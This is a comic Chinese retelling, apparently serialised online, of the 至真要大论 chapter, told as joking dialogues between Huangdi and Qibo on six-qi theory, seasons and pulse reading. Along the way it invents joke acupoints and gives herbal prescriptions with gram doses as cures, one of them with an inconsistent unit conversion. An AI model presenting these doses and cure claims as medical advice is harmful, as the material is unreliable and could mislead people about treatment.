岐伯解释道：“这事儿啊，得看你出生那年是哪位大佬当家。比如说，你要是生在‘厥阴风木’年，那你体内的风元素就比较旺盛，这风可不是吹头发的风，它在你体内就像个调皮鬼，到处乱窜，一不小心就可能吹得你头疼脑热。这时候，你就得注意养肝了，因为肝在五行里属木，跟风是一伙儿的。当然啦，现代医学里可没有‘厥阴风木’这个穴位，但咱们可以想象成是肝经上的某个‘风穴’，给它揉揉，让它消停点儿。” 黄帝听得津津有味，催促道：“那其他大佬呢？快说说，他们又是怎么在咱们体内搞事情的？” 岐伯继续道：“好嘞，接着说。如果你是‘少阴君火’年出生的，那你体内就自带小火苗，热情似火，但也容易上火，得小心心脏和血脉。这时候，咱们可以想象心脏旁边有个‘降火穴’，没事就按按，给心脏降降温。至于少阴君火对应的现代穴位嘛，你可以理解为心经上的某个‘清凉点’，哈哈，是不是很有画面感？” 黄帝笑得前仰后合：“这解释，绝了！那剩下的几位大佬呢？” 岐伯笑道：“别急，咱们慢慢来。‘太阴湿土’年出生的朋友，体内湿气重，得防潮防霉，照顾好脾胃，可以想象脾经上有个‘除湿机穴’，每天给它按按，保证你身体干爽。‘少阳相火’年呢，火势更猛，得注意小肠和膀胱，免得它们被烤焦，这时候得有个‘灭火器穴’，在小肠经上找找，说不定能找到。‘阳明燥金’年，干燥是主题，肺和大肠得保湿，找个‘润肺泉穴’，肺经上应该有。最后，‘太阳寒水’年，那简直就是冰雪奇缘，肾和膀胱得保暖，肾经上得有个‘暖宝宝穴’，时刻准备着。” 黄帝听完，笑得合不拢嘴：“岐伯啊岐伯，你这解释，简直是把古老医学玩出了新高度！不过，你说这些穴位都是想象的，那现实中我们怎么操作呢？” 岐伯微微一笑：“黄帝陛下，这您可就问到点子上了。虽然这些穴位是我为了讲解方便而创造的‘概念穴’，但实际上，我们可以通过按摩相应的经络来达到类似的效果。比如养肝，就多揉揉太冲穴；降火，就按按内关穴；除湿，试试阴陵泉；灭火，找支沟穴；润肺，列缺穴不错；保暖，那就得靠复溜穴了。这些穴位，就像是咱们身体里的‘调节器’，轻轻一抹，就能让身体回归平衡。” 话说有一天，黄帝心血来潮，决定找他的老中医朋友岐伯聊聊天文地理，哦不对，是中医理论里的天文地理——地化现象。黄帝一脸好奇地问：“岐伯啊，你说这地化是咋回事呢？是不是就像咱们家的菜园子，有时候长得好，有时候就蔫儿了？” 岐伯一听，心里暗笑黄帝这比喻虽土但贴切，便一本正经地回答：“皇上啊，这事儿得从天上的司天之气说起。司天之气和地上的变化那是同步的，就像您今儿个心情好，御膳房做的菜都格外香一样，间气也是这么个理儿。” 黄帝一听，眉头一皱：“间气？这名字听着就像是邻居老王家的二小子，神神秘秘的。快说说，啥是间气？” 岐伯哈哈一笑，解释道：“这司天之气啊，它不光管自己那一年，还左右两边各带着个小弟，这俩小弟就是间气啦！它们就像皇帝身边的侍卫，虽然不直接掌权，但影响力也是杠杠的。” 黄帝挠了挠头：“那这俩侍卫和司天大哥有啥不一样呢？总不能一个管早饭，一个管晚饭吧？” 岐伯摆摆手：“非也非也。司天之气那是每年的主角，负责记录这一年的大事小情，咱们就叫它‘纪岁’。而间气呢，它就像是皇宫里的巡逻队，一步步巡逻，记录着四季更替、气候变化，咱们就叫它‘纪步’。它们虽然不像司天那么显眼，但缺了它们，这天地间的秩序可就乱了套了。” 黄帝一听，恍然大悟：“哦，原来是这样！那这么说来，这司天和间气，就像是朝廷里的文武百官，各司其职，共同维护着咱大华夏的和谐稳定啊！” 岐伯点头称赞：“皇上英明！不过话说回来，这中医理论和朝廷治理还真有异曲同工之妙。咱们中医讲究天人合一，人体的小宇宙和天地的大宇宙是相通的。就像您刚才说的，司天和间气就像文武百官，人体里的脏腑经络、气血阴阳也是各有各的角色，共同维持着身体的健康平衡。” 黄帝一听，来了兴趣：“那你说说，这司天和间气要是出了问题，人体会有啥反应呢？” 岐伯沉吟片刻，说道：“这事儿可大了去了。比如说，司天之气要是过于旺盛，就像朝廷里的大臣权力过大，就容易压制其他脏腑，导致身体失衡。比如心火过旺，就容易失眠多梦、心烦意乱。而间气呢，它要是出了问题，就像是巡逻队懈怠了，那四季更替的节奏就会被打乱，人体就会出现各种季节性的疾病。比如春天本该生发阳气，结果间气不足，人就容易感冒、咳嗽。” 黄帝一听，连连点头：“原来如此！看来咱们中医真是博大精深啊，连天上的星星都能和人体健康扯上关系！” 岐伯微微一笑：“是啊，皇上。中医讲究整体观念，把人看作是一个有机的整体，与天地自然息息相关。就像您每天看星星，其实也是在观察自己身体的微妙变化呢！” 黄帝挠了挠头，一脸好奇地问岐伯：“嘿，岐伯，你说这每年的天气变化，到底是怎么个主宰法啊？咱们能不能给它来个‘天气预报’古代版？” 岐伯捋了捋他那飘逸的胡须，笑道：“哈哈，黄帝啊，你这问题问得好！来，我给你细细道来。咱们先说这厥阴风木吧，它要是司天，那就是春风拂面，万物生长的风化；到了在泉之位呢，就是酸溜溜的果子成熟的酸化。它掌管的那一气，是青翠欲滴的苍化，而间气嘛，就像是小朋友活泼乱跳，那是动化。想象一下，春天一到，万物复苏，连空气都带着酸甜的果香和孩子们的笑声，多有趣吧！” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 黄帝眨眨眼：“嗯，这厥阴风木听起来挺有诗意的。那少阴君火呢？” 岐伯继续道：“少阴君火司天，那就是热情如火，热浪滚滚的热化；到了在泉，苦夏来临，万物苦涩的苦化。不过它不怎么直接管气化，但要是它心情一不好，嘿，那就是灼化，热得你恨不得跳进冰窟窿！这就好比夏天，热得你只想吃冰淇淋，还得是特苦的那种，才能解心头之热，是不是觉得生活有时候也挺‘苦涩’的？” 黄帝笑得前仰后合：“哈哈，你这比喻，绝了！那太阴湿土呢？” 岐伯不紧不慢地说：“太阴湿土司天，那就是连绵细雨，万物滋润的湿化；到了在泉，甘甜如饴，大地回馈的甘化。它掌管的那一气，是金黄灿烂的黅化，间气则是温柔如水的柔化。想想看，秋天，金黄的稻田，温柔的秋风，还有那甜甜的果实，是不是觉得人生都温柔了许多？” 黄帝点点头：“嗯，听起来挺温馨的。少阳相火呢？” 岐伯笑道：“少阳相火司天，那可是烈日炎炎，火势滔天的火化；到了在泉，还是苦，不过这次是火烤出来的苦化。它掌管的那一气，红得像丹顶鹤的丹化，间气则是光芒四射的明化。夏天热得你只想找个树荫下乘凉，喝口凉茶，那滋味，就跟看到希望之光一样，明亮又解渴！” 黄帝笑得合不拢嘴：“哈哈，你这描述，让我对夏天又爱又恨啊！那阳明燥金呢？” 岐伯继续他的“天气脱口秀”：“阳明燥金司天，那就是秋高气爽，万物干燥的燥化；到了在泉，辛辣如刀割的辛化。它掌管的那一气，洁白如雪，素化一片；间气则是清新脱俗的清化。秋天，落叶纷飞，空气里弥漫着清新的辣味，就像是大自然在告诉我们，该收收心，准备过冬了。” 黄帝若有所思：“嗯，确实，秋天是个让人沉思的季节。那太阳寒水呢？” 岐伯最后总结道：“太阳寒水司天，那就是寒风凛冽，万物收藏的寒化；到了在泉，咸味入肾，咸化万物。它掌管的那一气，黑得深沉，玄化一片；间气则是深藏不露的藏化。冬天，大雪纷飞，万物沉睡，咸咸的海风，像是在告诉我们，一年又要结束了，是时候积蓄力量，等待春天的到来。” 黄帝听罢，拍案叫绝：“老岐，你这不仅给我上了一堂生动的天气课，还让我感受到了四季的魅力和生命的韵律啊！不过，你说治病得明白这些六化分治，五味五色所生，五脏所宜，这是啥意思？” 岐伯微微一笑：“黄帝啊，你想啊，咱们人体就像个小宇宙，和大自然息息相关。比如，春天肝气旺，你得多吃点酸的，养肝；夏天心火旺，来点苦的，清心火；秋天肺气燥，甘甜滋润最适宜；冬天肾气寒，咸味入肾，补补身子。还有啊，不同的穴位也对应着不同的季节和脏腑，比如春天的太冲穴，夏天的内关穴，秋天的太白穴，冬天的太溪穴，按摩它们，也能调和身体，顺应天时。至于方剂嘛，那可得根据具体情况来配，比如养肝的逍遥散，一两柴胡（5克），一两当归（5克），白芍、白术、茯苓各一两（各5克），生姜、薄荷少许，水煎服，就能帮你疏肝解郁，享受春天的美好啦！” 至真要大论篇第七十四（二） 黄帝闲来无事，就拉着岐伯开始聊起了天。黄帝说：“岐伯啊，我听说那个厥阴在泉的时候，酸味的东西就容易多起来，这个我已经搞懂了。但是呢，那个风化啊，它是怎么运行的？你能不能给我讲讲？” 岐伯一听，心里暗笑：“这陛下，又开始刨根问底了。”但他脸上还是一脸严肃，开始给黄帝讲解起来。 “陛下啊，你看这风，它在地上吹，那其实就是风化的根本啊。就像咱们吃饭，得从地里种出粮食来，那才是根本，对吧？其他的气，也都是这个理儿。”岐伯说到这里，黄帝点了点头，心里想着：“嗯，这比喻还挺接地气。” 岐伯接着又说：“咱们再聊聊这天地之气。你看，天上有天之气，地下有地之气。这天之气呢，就像老爸的威严，高高在上，不可侵犯；地之气呢，就像老妈的温柔，滋养万物，润物无声。当天之气和地之气合在一起，就像老爸老妈齐心协力，那世界就和谐了，万物就开始生长了。” 黄帝一听，觉得岐伯这解释还挺有趣，就笑着说：“哈哈，岐伯啊，你这比喻真是绝了。那照你这么说，咱们中医看病，是不是也得看看这天地之气合不合，才能下药啊？” 岐伯一听，拍手大笑：“陛下，你可真是聪明绝顶啊！没错，咱们中医看病，就得看这天地之气，看它们是不是和谐，看它们是不是有利于病人的恢复。这就叫‘谨候气宜，无失病机’。” 黄帝一听，更是来了兴趣，说：“那你快给我讲讲，这‘谨候气宜，无失病机’到底是怎么回事？” 岐伯清了清嗓子，开始给黄帝详细讲解起来。 “陛下啊，你看这天地之气，它们就像咱们人体的阴阳一样，得平衡才行。如果天之气太强，地之气太弱，那万物就得遭殃了；反过来，如果地之气太强，天之气太弱，那也不行。咱们人体也是这样啊，阴阳得平衡，气血得通顺，才能健康长寿。” “而这‘谨候气宜’呢，就是咱们得时刻关注这天地之气的变化，看看它们是不是有利于咱们的健康。比如说，春天的时候，天气开始变暖，万物开始复苏，那咱们就得多吃点清淡的食物，让身体也跟着复苏起来；夏天的时候，天气变热，咱们就得多喝水，吃点清热解暑的食物，防止中暑；秋天的时候，天气开始变凉，万物开始收敛，那咱们就得多吃点滋润的食物，让身体也收敛起来；冬天的时候，天气变冷，万物开始藏匿，那咱们就得多吃点温热的食物，让身体也暖和起来。” “至于这‘无失病机’呢，就是咱们得在关注天地之气的同时，时刻留意身体的变化。如果身体有什么不适，那就得赶紧调理，别让小病变大病，大病变绝症。” 黄帝一听，恍然大悟：“哦，原来是这样啊！那照你这么说，咱们中医看病，其实就是看天地之气和人体之气的和谐程度了？” 岐伯笑着点了点头：“没错，陛下。中医看病，就是看天地人三才的和谐程度。如果天地人三才和谐了，那人体就健康了；如果不和谐了，那人体就得生病了。” 黄帝闲来无事，就拉着岐伯聊起了天。黄帝说：“岐伯啊，你说咱们中医看病，用的那些药材，它们主要治啥病啊？是不是每种药材都有它的‘专属舞台’呢？” 岐伯一听，嘿嘿一笑，说：“陛下啊，你这问题问得好！咱们中医讲究的是‘司岁备物’，就是说啊，得根据当年的气候、环境来挑选药材，这样用起来才最对症，效果杠杠的！就像是每年一次的‘药材选秀大赛’，只有经过层层选拔，才能成为咱们医家的‘C位药材’！” 黄帝一听，来了兴趣：“哦？还有‘药材选秀’这种说法？快说说，这‘先岁物’是怎么个意思？” 岐伯捋了捋胡子，故作神秘地说：“这‘先岁物’啊，就是那些在这一年里长得特别好，吸收了天地精华的药材。它们就像是选秀大赛里的‘人气王’，因为天时地利人和，所以药效特别强！用它们来治病，那效果，简直是杠杠的！就像是给病人吃了颗‘特效药’，病立马就好了一大半！” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻真是绝了！那‘司气者’又是怎么回事呢？它们是不是药材选秀里的评委啊？” 岐伯一拍大腿：“对头！这‘司气者’啊，就像是选秀大赛的评委团。它们虽然和‘主岁’的药材一样，都是当年的‘热门选手’，但每个药材的‘人气’还是有所不同的。有的药材可能因为长得好、药效强，成了‘人气王’；而有的呢，可能因为种种原因，药效就差了点，成了‘陪跑’的。” 黄帝一听，眼睛一亮：“这么说来，咱们中医用药，还得看药材的‘人气’高低了？这可真有意思！” 岐伯点了点头：“没错！不过啊，这‘人气’可不是咱们人为能决定的，而是由天地自然来决定的。所以啊，咱们中医才要讲究‘天人合一’，顺应自然规律，这样才能选出真正对症的药材，治好病人的病。” 黄帝听了，若有所思地点了点头：“岐伯啊，你这么一说，我算是明白了。咱们中医用药，就像是参加一场‘药材选秀大赛’，得根据药材的‘人气’、‘实力’来挑选，才能选出真正的好药，治好病人的病。这可真是‘药材千万种，对症才为王’啊！” 岐伯一听，也笑了起来：“陛下啊，你这总结得真好！咱们中医啊，就是要讲究这些。不过啊，话说回来，这‘药材选秀大赛’可不是那么好参加的。你得先了解药材的习性、功效，还得知道它们在不同的气候、环境下的生长情况。这样才能在‘选秀’中选出真正的好药。” 黄帝闲来无事，就找到了岐伯，两人坐在那棵不知道活了多少年的老槐树下，开始聊起了天。黄帝眨巴眨巴眼睛，一脸好奇地问：“歧伯啊，你总是说‘非司岁物’，这到底是咋回事儿呢？能不能给我这个门外汉讲讲？” 岐伯一听，嘿嘿一笑，那笑容就像是他手里刚泡好的草药，既神秘又带着点淡淡的香气。他慢悠悠地说：“这个嘛，说白了就是，药材啊，它跟年份、季节都有关系，不是啥时候采的都一样好，这就叫‘非司岁物’。就像你找对象，得找对时间、对地点、对心情，药材也一样，得在它们状态最好的时候采，效果才最棒！” 黄帝一听，眉头一皱，心想：这老岐又开始故弄玄虚了。不过，他还是耐着性子问：“那具体是怎么个说法呢？” 岐伯清了清嗓子，开始了他那长篇大论的中药理论讲解，不过这次，他决定加点调料，让这课讲得既有趣又易懂。 “你看啊，这药材就像人一样，有胖有瘦，有高有矮，有活泼的，也有沉稳的。咱们先说这‘质同而异等’，就像你俩都是人，但一个天天健身，一个整天宅在家里，那身体状态能一样吗？药材也是，同样的种类，长在阳坡的和长在阴坡的，那质量和效果就千差万别了。” 黄帝一听，乐了：“哟，你这是把药材当人看了啊！” 岐伯摆摆手：“可不是嘛！药材也有它们的性格和脾气。比如，有的药材气味浓厚，就像那火锅里的麻辣料，一闻就知道劲儿大；有的呢，就比较温和，像是一杯淡淡的菊花茶，喝起来舒服极了。这就是‘气味有薄厚’嘛！” 黄帝点头表示赞同，但又问：“那‘性用有躁静’呢？” 岐伯一笑：“这就更好玩了！你想啊，有的药材就像那调皮捣蛋的孩子，一放进锅里就开始翻滚跳跃，那药性就来得猛，咱们叫它‘躁’；有的呢，就像那沉稳的老爷爷，不管你怎么煮，它都慢悠悠地释放药性，这就是‘静’。就像你喝茶，有的茶一入口就直冲脑门，有的呢，得慢慢品，才能体会到那股子韵味。” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻真是绝了！那‘治保有多少’又是啥意思？” 岐伯神秘一笑：“这个嘛，就得说到药材的功效了。有的药材，就像那万金油，啥病都能治一点，但不是很精通；有的呢，就像那专业医生，专治一种病，效果杠杠的。这就是‘治保有多少’嘛！就像你家里备的药箱，有的药是常备的，啥小毛病都能应付一下；有的呢，就是关键时刻才拿出来的救命稻草。” 黄帝听得津津有味，又问：“那‘力化有浅深’呢？” 岐伯摸了摸下巴上的白胡子，故作深沉地说：“这个啊，说的是药材在人体内的作用深度。有的药材就像那浅层炸弹，一炸就完事儿，效果来得快去得也快；有的呢，就像那深层导弹，能直达病灶，慢慢发挥作用，这就是‘力化有浅深’。就像你吃药，有的药吃下去立马见效，但可能只是治标；有的药呢，得吃一段时间，但能从根本上解决问题。” 黄帝闲来无事，便找来了岐伯，打算聊聊中医那些事儿。黄帝一开口，就抛出了一个深奥的问题：“嘿，岐伯，你说这‘岁主藏害’是个啥玩意儿啊？听起来挺高大上的。” 岐伯一听，心里暗笑黄帝这老顽童又开始调皮了，但还是一本正经地回答道：“黄帝啊，这‘岁主藏害’嘛，说白了就是每年不同的气候、季节变化，会对咱们人体的五脏六腑产生不同的影响，有时候还会搞出点病来。而这些病啊，都可以用五行相克的道理来解释，这就叫‘以所不胜命之，则其要也’。比如说，今年要是金气太旺，那肝木可就倒霉了，因为金克木嘛，肝就容易受伤。” 黄帝一听，眼睛一亮，拍手笑道：“哦，原来如此，那你说说，要是真病了，咱们怎么治呢？总不能干瞪眼吧？” 岐伯捋了捋胡子，故作深沉地说：“嘿嘿，这你就不懂了吧。咱们中医讲究的是‘上淫于下，所胜平之；外淫于内，所胜治之’。简单来说，就是上面的邪气侵犯到下面，咱们就用能克制它的东西来平息它；外面的邪气跑到身体里面捣乱，咱们就用能克制它的药物来对付它。比如说，要是肺金太旺，克到了肝木，咱们就用点补肝的、疏肝的药材，让肝木强大起来，不再怕肺金的欺负。这就叫‘以子之矛，攻子之盾’，哈哈！” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 黄帝一听，笑得前仰后合，连声说：“妙哉，妙哉！岐伯老弟，你这解释真是太逗了，以后我这中医课啊，就请你来当讲师了！” 岐伯也笑得合不拢嘴，摆摆手说：“哎呀，黄帝，你这是抬举我了。我这不过是些皮毛功夫，真正的高手还在民间呢。不过，既然你这么说了，那我就勉为其难，给你讲讲这五行相克、治疗大法在中医里的具体运用吧。” “首先啊，咱们得知道五行是哪五行，那就是金、木、水、火、土。这五行啊，就像咱们家的五个兄弟姐妹，各有各的脾气，也各有各的克星。金呢，就像家里的老大，严肃认真，但它怕火，因为火能把它熔化；木呢，就像家里的老二，生机勃勃，但它怕金，因为金能把它砍断；水呢，就像家里的老三，温柔又灵活，但它怕土，因为土能把它吸干；火呢，就像家里的老四，热情奔放，但它怕水，因为水能把它扑灭；土呢，就像家里的老五，稳重又包容，但它怕木，因为木能把它钻透。” 黄帝听得津津有味，不住地点头。 岐伯接着说：“咱们人体的五脏六腑啊，也跟这五行对应着。肺属金，肝属木，肾属水，心属火，脾属土。所以啊，要是肺有问题了，那可能就是金气太旺或者太弱了，咱们就得找找看是哪个脏腑在捣乱，然后用相应的药材来调理。比如说，肺金太旺克到了肝木，咱们就得用点补肝的药材，像枸杞啊、当归啊之类的；要是肺金太弱了，被火欺负了，咱们就得用点清肺热的药材，像石膏啊、黄芩啊之类的。” 至真要大论篇第七十四（三） 黄帝悠悠地坐在龙椅上，手里把玩着一块温润的玉佩，眉头微蹙，似乎又在思考着什么深奥的医学问题。这时，岐伯迈着不紧不慢的步伐，走进了大殿，手里还拿着一卷泛黄的医书，那神情，仿佛在说：“又有啥难题要我来解答啦？” 黄帝抬眼一看，嘴角勾起一抹笑意：“岐伯啊岐伯，你可真是朕的医学宝典啊！来来来，快给朕讲讲，这平气到底是个啥玩意儿？又该如何调理呢？” 岐伯一听，哈哈一笑，捋了捋下巴上的长须，摆出一副老学究的架势：“陛下啊，这平气嘛，说白了就是咱们身体里的阴阳平衡。你想啊，要是阴阳失调了，那身体不就乱套了嘛！就像你家里的那盆花，水浇多了淹死，水浇少了干死，得刚刚好才行啊！” 黄帝一听，眼睛一亮：“对对对，就是这个理儿！那该如何调理呢？总不能天天拿个小秤砣在身体里称来称去吧？” 岐伯又是一阵大笑，差点把手里的医书都给抖掉了：“陛下真是幽默啊！不过话说回来，调理平气确实得讲究个方法。咱们中医讲究的是‘谨察阴阳所在而调之’，说白了，就是要仔细观察身体里的阴阳状况，哪里多了就减减，哪里少了就补补。” 黄帝挠挠头，一脸疑惑：“这阴阳又咋看呢？总不能让我变成透视眼吧？” 岐伯摆摆手：“陛下别急，咱们中医有‘望闻问切’四诊法嘛！望，就是看看你的气色、舌苔啥的；闻，就是听听你的声音、闻闻你的气味；问，就是问问你的症状、饮食啥的；切，就是给你把把脉啦！通过这四诊，咱们就能大概知道你的身体状况了。” 黄帝一听，恍然大悟：“哦~原来是这样啊！那调理的时候呢？是不是也得讲究个方法？” 岐伯点点头：“那是自然！调理平气，咱们得遵循‘以平为期’的原则。就是说，调理的目的就是要让身体恢复到平衡状态。具体怎么调理呢？那就得看你的身体状况了。” 黄帝眨眨眼：“那……要是身体状况正常呢？” 岐伯微微一笑：“身体状况正常啊？那就‘正者正治’呗！就是说，如果你身体里的阴阳平衡，那就按照正常的方法来调理，比如吃点滋补的食物、做做运动啥的，保持身体健康就好啦！” 黄帝一听，哈哈大笑：“这简单啊！那要是身体状况不正常呢？” 岐伯神秘一笑：“要是身体状况不正常啊，那就得‘反者反治’了！陛下你想啊，要是你的身体里阳气太盛了，那你是不是得吃点滋阴的食物来平衡一下？反过来，要是阴气太盛了，那你就得吃点温阳的食物啦！这就是‘反者反治’的道理。” 黄帝闲来无事，就拉着岐伯聊起了天。黄帝一脸好奇地说：“岐伯啊，您总是说，看病得看阴阳平衡，哪里不对劲就得调哪里。书上还写了，人迎脉（脖子那边的一个脉）和寸口脉（手腕上的脉）得互相配合，像两根一样长的绳子，那才叫健康，对吧？但我就纳闷了，要是阴阳失衡，寸口脉上会显示些什么呢？” 岐伯一听，捋了捋他那飘逸的长胡子，笑得像只老狐狸：“哈哈，这事儿啊，你得先学会看‘年历’——不是普通的年历哦，是天干地支、五行八卦那种高大上的！”黄帝一听，眼睛立马亮了，心想：这老中医是要传授什么武林秘籍吗？ 岐伯看黄帝那兴奋样，继续慢悠悠地说：“咱们中医啊，看病就像侦探破案，得会看线索。这个线索呢，就藏在每年的天文气候变化里。简单说，就是你得知道今年是‘北政’还是‘南政’。” 黄帝挠挠头：“北政？南政？听起来像是宫廷里的两派势力啊，跟看病有啥关系？” 岐伯笑得差点岔气：“哈哈，你想象力够丰富的！其实啊，‘北政’、‘南政’是根据天干地支排出来的，它们决定了这一年的气候特点，还有咱们人体内的阴阳之气怎么变化。比如说，‘北政’的年份，要是‘少阴’这股阴冷之气在下（在泉），那寸口脉啊，就会表现得不太对劲，像是被冻得迟钝了一样，反应不过来。” 黄帝听得一愣一愣的，忙问：“那要是别的‘在泉’呢？” 岐伯继续解说：“要是‘厥阴’在下，右边寸口脉就可能玩‘失踪’；‘太阴’在下，左边寸口脉就懒洋洋的，不想动了。反过来，‘南政’的年份，规律也差不多，不过是看‘司天’（天上的那股力量）来决定哪边寸口脉会‘罢工’。怎么样，是不是觉得咱们中医看病，就像在玩一场高级的侦探游戏？” 黄帝一拍大腿：“绝了！这简直就是自然界的摩斯·黄帝啊！不过，岐伯，您说的这些‘不应’，到底怎么个不应法？要是病人来了，我怎么一眼就能看出来？” 岐伯故作神秘地说：“别急，好戏在后头呢。这些‘不应’，就像是小孩子玩捉迷藏，你得反过来找它们。比如说，正常情况下，两边寸口脉的跳动应该是差不多强的，对吧？但要是哪边‘不应’了，那就像是那边脉偷偷躲了起来，或者跳得特别没力气。这时候，你就得用你的小侦探眼睛，仔细观察，用心感受，找出那个‘躲猫猫’的脉啦！” 黄帝一听，眼睛放光：“原来如此！老师，您这方法真是太妙了，以后看病，我就像是有了超能力，能直接看透病人的阴阳秘密！” 岐伯笑着摇摇头：“超能力倒不至于，但确实能让你看病更加得心应手。记住，中医的精髓在于‘整体观念’和‘辨证论治’，不仅要观察病人的脉象，还得结合他的症状、体质、生活环境等等，综合考虑。就像侦探破案，不能只看一条线索，得把所有线索串起来，才能真相大白。” 黄帝连连点头，突然又想到了什么：“岐伯，那要是遇到那种特别复杂的病例，脉象乱得跟麻团似的，怎么办？” 岐伯哈哈大笑：“那就得考验你的‘医术内功’了！就像打游戏，遇到大Boss，你得升级装备，提升技能。多看书，多实践，积累经验，慢慢你的‘医术内力’就会越来越深厚，到时候，再复杂的病例，也能被你一一破解。” 黄帝陛下清了清嗓子，一脸认真地问道：“岐伯啊，你说说看，这尺脉啊，它到底怎么候诊的呢？有没有什么独门秘籍啊？” 岐伯一听，心里暗笑，这黄帝陛下啊，还真是对中医情有独钟呢。不过，岐伯可是个实在人，他深知中医之道，博大精深，可不能随便糊弄。于是，他缓缓开口，用他那充满智慧的嗓音说道：“陛下啊，这尺脉的候诊啊，可是有点讲究的呢。咱们得先分清南北政的年份，这南北政啊，就像是咱们中华大地的南北风味小吃，各有各的特色。” 黄帝一听，眉头一挑，心想这岐伯还挺会比喻的嘛。岐伯见状，继续他的讲解：“您看，如果是北政的年份呢，就像是北方的冬天，寒冷干燥，这时候啊，三阴（就是咱们中医说的肝、脾、肾三脏的脉象）要是沉在下边，就像是被冬天的雪给盖住了，那寸脉啊，自然就没什么反应了。反过来呢，如果三阴跑到上边去了，就像是北方的春天，冰雪融化，万物复苏，这时候啊，尺脉就没什么动静了，因为阳气都跑到上边去了嘛。” 黄帝一听，哈哈大笑，这岐伯讲解起来还真是生动有趣呢。岐伯一看黄帝乐了，心中也暗自得意，他知道，自己的幽默讲解已经成功吸引了黄帝的注意力。于是，他趁热打铁，继续说道：“陛下啊，如果是南政的年份呢，就像是南方的夏天，炎热潮湿，这时候啊，三阴要是跑到天上去了，就像是被太阳晒得躲进了云层里，那寸脉啊，自然也是没什么反应的。反过来呢，如果三阴跑到地下来了，就像是南方的秋天，凉风习习，这时候啊，尺脉就沉寂了，因为阴气都跑到下边去了嘛。” 黄帝一听，更是笑得前仰后合，他拍着岐伯的肩膀说道：“岐伯啊，你这讲解真是绝了，连朕都被你给逗乐了。不过话说回来，这南北政的年份和脉诊到底有什么关系呢？” 岐伯一看黄帝认真了，也收起了笑容，正色道：“陛下啊，这南北政的年份啊，其实就是咱们中医用来判断天地阴阳变化的一个工具。您看，天地之间阴阳变化，就像咱们人间的四季更替一样，都是有规律的。而这脉诊啊，就是咱们中医用来感知这些规律的一个手段。咱们通过候诊寸尺之脉，就能知道天地阴阳的变化，从而判断人体内的阴阳状况，达到治病救人的目的。” 黄帝一听，恍然大悟，他感叹道：“原来如此啊，这中医之道还真是博大精深呢。岐伯啊，你说得对，知其要者，一言而终；不知其要，流散无穷啊。朕今天算是领教了。” 岐伯一听，心中也是暗自高兴，他知道自己的讲解已经得到了黄帝的认可。于是，他趁机又补充了一句：“陛下啊，这中医之道啊，就像咱们人间的美食一样，虽然种类繁多，但只要掌握了其中的精髓，就能做出美味佳肴来。同样啊，只要掌握了中医的精髓，就能治病救人，造福苍生啊。” 黄帝这天心情特别好，拉着岐伯就开始聊天：“老岐啊，你说咱们这医学知识真是博大精深，今天咱们来聊聊天地之气对人体有啥影响吧！特别是那种‘内淫’导致的病，听起来就挺神秘的。” 岐伯一听，眼睛一亮：“哎呀，黄帝大人，您这话题选得真是够劲爆啊！不过咱们得正儿八经地说。您看，要是岁运的厥阴风木在泉（就是地气啦），风邪太盛，那可就热闹了。这地气吧，就变得跟雾霾天似的，灰蒙蒙一片，连平野都看不清了，草儿们呢，也急得早早开花了，跟赶场似的。” 黄帝一听，笑得前仰后合：“这风邪也太调皮了吧，还让草儿提前上班！那老百姓会怎么样呢？” 岐伯故作深沉地说：“老百姓们可就惨了。他们啊，会冷得直打哆嗦，跟筛糠似的。还老想伸懒腰、打哈欠，感觉浑身不对劲。心痛啊、肚子胀啊，这些症状都来找麻烦。特别是两胁那里，跟被绳子勒住一样，吃饭都不香。吃东西吧，咽不下去，感觉喉咙被堵住了。有时候勉强吃点，还得吐出来。肚子胀得跟怀了孕似的，老想打嗝。不过啊，要是放个屁或者打个嗝，嘿，那感觉就像重生了一样，爽得不行。但奇怪的是，身体还是沉得跟灌了铅似的。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 黄帝一听，笑得都快岔气了：“你这描述得太生动了，老百姓们得这病，简直就是一部活生生的喜剧啊！不过话说回来，这病得怎么治呢？” 岐伯摸了摸下巴，思考片刻：“咱们中医嘛，讲究的是辨证施治。这病啊，得从肝入手。肝主疏泄，风邪伤了肝，疏泄功能就乱了套。所以啊，咱们得找个方子，帮肝脏恢复工作。” 黄帝眼睛一亮：“快说说，什么方子？” 岐伯清了清嗓子：“方子名叫‘疏肝解郁汤’。配方嘛，柴胡20克，疏肝解郁一把手；白芍15克，养肝柔肝；枳壳10克，行气宽中；炙甘草10克，调和药性。再加点川芎10克，活血化瘀；香附10克，理气止痛。水煎服，一天一剂，分两次早晚服用。” 黄帝一听，眉头一皱：“这方子听起来挺复杂的，老百姓们能记住吗？” 岐伯哈哈一笑：“黄帝大人，您这可是小看咱们老百姓的智慧了。这方子啊，咱们可以编成歌谣：‘柴胡白芍枳壳甘，川芎香附来疏肝。水煎服来分早晚，疏肝解郁笑开颜。’怎么样，简单易懂吧？” 黄帝一听，竖起了大拇指：“老岐啊，你这脑洞开得够大，这歌谣一听就忘不了！不过话说回来，这脉象上有什么特点呢？” 岐伯又是一番思索：“这脉象啊，咱们得摸肝脉。肝脉在左手关部，要是风邪太盛，肝脉就会弦得跟琴弦似的，又紧又硬。不过呢，这弦脉里还带点滑，就像摸了个小泥鳅，滑不溜手的。这就是风邪伤了肝，肝气郁结的表现啦。” 至真要大论篇第七十四（四） 歧伯继续开腔了：“要是碰到那种少阴之气在下的年份，热得过头了，那可真是不得了！热得连江河湖海都像是被点着了似的，波光粼粼，热气腾腾，连那些阴凉的地方都变得亮堂堂的，你说神奇不神奇？” 咱们现代人一听，这简直就是“全球变暖”的古代版嘛！不过别急，歧伯还没讲完呢。 “这时候啊，老百姓们可就遭殃了。肚子里整天咕噜咕噜响，跟开了锅似的，气还直往上冲，冲得胸口疼，喘口气都费劲，站久了都得扶着墙。皮肤也是，一会儿冷得直哆嗦，一会儿又热得跟火烧似的，还疼得厉害。眼睛累得睁不开，牙齿也跟着凑热闹，疼得要命，还肿得跟小山包似的。你说这还不算完，一会儿冷得跟冰窖似的，一会儿又烧得跟火炉一样，跟得了疟疾似的。小肚子还隐隐作痛，肚子大得跟怀孕了几个月似的，连那些冬眠的小虫子都受不了，提前跑出来躲难了。” 听完歧伯的这段描述，是不是觉得古人那会儿的生活也挺不容易的？不过别急，歧伯可是有名的“医林圣手”，他肯定有办法对付这些“热过头”的毛病。 